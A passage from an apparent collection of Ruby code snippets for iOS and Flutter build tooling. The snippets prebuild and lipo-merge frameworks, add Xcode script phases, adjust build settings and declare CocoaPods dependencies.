targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def install_business_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pod 'FlutterBusiness', :path => relative\nend", "def link_project\n install_resources\n copy_headers\n\n @config.vendor_project(PODS_ROOT, :xcode,\n :target => 'Pods',\n :headers_dir => 'Headers',\n :products => %w{ libPods.a }\n )\n\n if ldflags = pods_xcconfig.to_hash['OTHER_LDFLAGS']\n lib_search_paths = pods_xcconfig.to_hash['LIBRARY_SEARCH_PATHS'] || \"\"\n lib_search_paths.gsub!('$(PODS_ROOT)', \"-L#{@config.project_dir}/#{PODS_ROOT}\")\n\n framework_search_paths = pods_xcconfig.to_hash['FRAMEWORK_SEARCH_PATHS']\n if framework_search_paths\n framework_search_paths.scan(/\\\"([^\\\"]+)\\\"/) do |search_path|\n path = search_path.first.gsub!(/(\\$\\(PODS_ROOT\\))|(\\$\\{PODS_ROOT\\})/, \"#{@config.project_dir}/#{PODS_ROOT}\")\n @config.framework_search_paths << path if path\n end\n end\n\n @config.frameworks.concat(ldflags.scan(/-framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.frameworks.uniq!\n @config.libs.concat(ldflags.scan(/-l([^\\s]+)/).map { |m|\n if lib_search_paths.length == 0 || File.exist?(\"/usr/lib/lib#{m[0]}.dylib\")\n \"/usr/lib/lib#{m[0]}.dylib\"\n else\n \"#{lib_search_paths} -all_load -l#{m[0]}\"\n end\n })\n @config.weak_frameworks.concat(ldflags.scan(/-weak_framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.weak_frameworks.uniq!\n @config.libs.uniq!\n end\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def common_build\n copy_gems\n end", "def common_build\n copy_gems\n end", "def install_plugin_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pluginDir = File.join(relative.to_s, 'Plugins')\n if File.directory?(pluginDir) then\n plugins = Dir.children(pluginDir).each{}\n plugins.map do |r|\n if r != '.DS_Store' then\n podDir = File.join(pluginDir, r)\n pod r, :path => podDir, :nhibit_warnings => true\n puts(r)\n end\n end\n end\nend", "def build_framework?; ARGV.include? '--framework'; end", "def copy_libs\n `mkdir -p #{ @path }/assets/wwww`\n `cp framework/phonegap.jar #{ @path }/libs`\n `cp framework/res/values/strings.xml #{ @path }/res/values/strings.xml`\n `cp framework/res/layout/main.xml #{ @path }/res/layout/main.xml`\n `cp framework/res/layout/preview.xml #{ @path }/res/layout/preview.xml`\n %w(drawable-hdpi drawable-ldpi drawable-mdpi).each do |e|\n `cp framework/res/drawable/icon.png #{ @path }/res/#{ e }/icon.png`\n end \n `cp -R example #{ @path }/assets`\n `mv #{ @path }/assets/example #{ @path }/assets/www`\n end", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "def flutter_macos_podfile_setup; end", "def install!\n refresh_file_accessors\n prepare_pod_groups\n add_source_files_references\n add_frameworks_bundles\n add_vendored_libraries\n add_resources\n add_developer_files unless sandbox.development_pods.empty?\n link_headers\n end", "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "def wrap_xcodebuild\n require 'fileutils'\n @wrapped_xcodebuild_path ||= File.join(Gym::ROOT, \"lib/assets/wrap_xcodebuild/xcbuild-safe.sh\")\n end", "def install!(update)\n pods_installer.update = update\n pods_installer.installation_options.integrate_targets = false\n pods_installer.install!\n install_resources\n copy_cocoapods_env_and_prefix_headers\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def j2objc_shared\n pod 'j2objc-shared-debug', :configuration => ['Debug'], :path => '../shared/build'\n pod 'j2objc-shared-release', :configuration => ['Release'], :path => '../shared/build'\nend", "def add_files(frameworks_build_phase, files, lib_group, relative_source_directory)\n\tfiles.each { |file|\n\t\tif file != \".\" && file != \"..\"\n\t\t\ta_ref = lib_group.new_file(relative_source_directory + file)\n\t\t\tframeworks_build_phase.add_file_reference(a_ref, true)\n\t\tend\n\t}\nend", "def develop_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'develop'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'develop'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'develop'\nend", "def build_using_xcode\n validations\n\n framework_args = @framework_paths\n .map { |path| \"-framework #{path}\" }\n .join(\" \")\n\n FileUtils.mkdir_p(@parent_directory)\n output_path = File.join(@parent_directory, \"#{@framework_name}.xcframework\")\n output_args = \"-output #{output_path}\"\n\n logfile = Tempfile.new(['xcframework', '.log'])\n\n cmd = \"xcodebuild -create-xcframework #{framework_args} #{output_args}\"\n\n system(\"#{cmd} >#{logfile.path} 2>&1\") ||\n raise(BuildUsingXcodeFailure.new(File.read(logfile).strip))\n ensure\n if logfile\n logfile.close\n logfile.delete\n end\n end", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n platforms_by_spec = Hash[specs.map do |spec|\n platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n [spec, platforms]\n end]\n\n if platforms_by_spec.values.all?(&:empty?)\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms for podspecs #{specs.map(&:name).to_sentence} match requested platforms: #{configuration.platforms}\"\n end\n\n platforms_by_spec\n .flat_map do |spec, platforms|\n platforms.map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n end\n .compact.uniq.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path.to_s, target.name) if target\n end\n app_project.save\n app_project\n end", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def add_spec_to_project\n mkdir_p('doc')\n cp(\"../#{@spec_filename}\", 'doc')\n end", "def flutter_install_all_ios_pods(ios_application_path = nil)\n flutter_install_ios_engine_pod(ios_application_path)\n flutter_install_plugin_pods(ios_application_path, '.symlinks', 'ios')\nend", "def master_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def resources\n resources = []\n resource_path =\n Pathname.new(@config.project_dir) +\n SUPPORT_FILES +\n \"Pods-#{TARGET_NAME}-resources.sh\"\n\n File.open(resource_path) { |f|\n f.each_line do |line|\n matched = line.match(/install_resource\\s+(.*)/)\n\n next unless matched\n\n path = (matched[1].strip)[1..-2]\n\n path.sub!(\n \"${BUILD_DIR}/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}\",\n \".build\"\n )\n\n next if File.extname(path) == \".framework\"\n\n resources << Pathname.new(@config.project_dir) + PODS_ROOT + path\n end\n }\n resources.uniq\n end", "def flutter_ios_podfile_setup; end", "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "def add_custom_framework(framework_path)\n puts \"Adding framework to xcode project: #{framework_path}.\"\n framework_name = File.basename(framework_path);\n local_framework_path = \"Frameworks/#{framework_name}\"\n # Add the lib file as a reference\n libRef = @project['Frameworks'].new_file(framework_path)\n # Add it to the build phase\n @target.frameworks_build_phase.add_file_reference(libRef)\n puts 'Finished adding framework.'\nend", "def pod_libksygpulive\n dep_path = ENV['KSYLIVEDEP_DIR']\n demo_path = ENV['KSYLIVEDEMO_DIR']\n \n pod 'GPUImage'\n # pod 'libksygpulive/GPUImage', :path => dep_path\n pod 'libksygpulive/yuv', :path => dep_path\n pod 'libksygpulive/base', :path => dep_path\n pod 'libksygpulive/mediacore_enc_265', :path => dep_path\n \n # pod 'libksygpulive/KSYStreameriOSSDK', :path => demo_path\n pod 'KSYStreameriOSSDK', :path => (dep_path)+'../KSYStreameriOSSDK'\n \n # pod 'libksygpulive/networkAdaptor', :path => demo_path\n pod 'networkAdaptor', :path => (dep_path)+'../networkAdaptor'\n \n# pod 'ksylivekits/KSYStreamerEngine_iOS', :path => demo_path\n pod 'KSYStreamerEngine', :path => (dep_path)+'../KSYStreamerEngine_iOS'\n\n pod 'KSYCommon', :path => (dep_path)+'../KSYCommon'\n pod 'KSYGPUFilter', :path => (dep_path)+'../KSYGPUFilter_iOS'\n pod 'ksylivekits/player', :path => demo_path\n pod 'ksylivekits/kits', :path => demo_path\nend", "def set_swift_files_as_public(installer)\n Pod::UI.puts \"Fixing interface builder integration\"\n\n installer.pods_project.targets.each do |target|\n next unless target.respond_to?(:product_type)\n next unless target.product_type == 'com.apple.product-type.framework'\n\n target.source_build_phase.files_references.each do |file|\n next unless File.extname(file.path) == '.swift'\n\n buildFile = target.headers_build_phase.add_file_reference(file)\n buildFile.settings = { 'ATTRIBUTES' => ['Public']}\n end\n end\n\n installer.pods_project.save\nend", "def common_build\n copy_gems # in make/gems.rb\n end", "def feature_pods\n ### ONLY FOR DEVELOP PURPOSES ###\n feature_branch = \"master\" # <- HERE: Change this line to setup ALL the pods repository from another branch WHEN pods_environment = \"develop\"\n ### ONLY FOR DEVELOP PURPOSES ###\n\n color(32) { puts \"Installing Develop Pods from branch: #{feature_branch}\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => \"#{feature_branch}\"\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => \"#{feature_branch}\"\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => \"#{feature_branch}\"\nend", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = 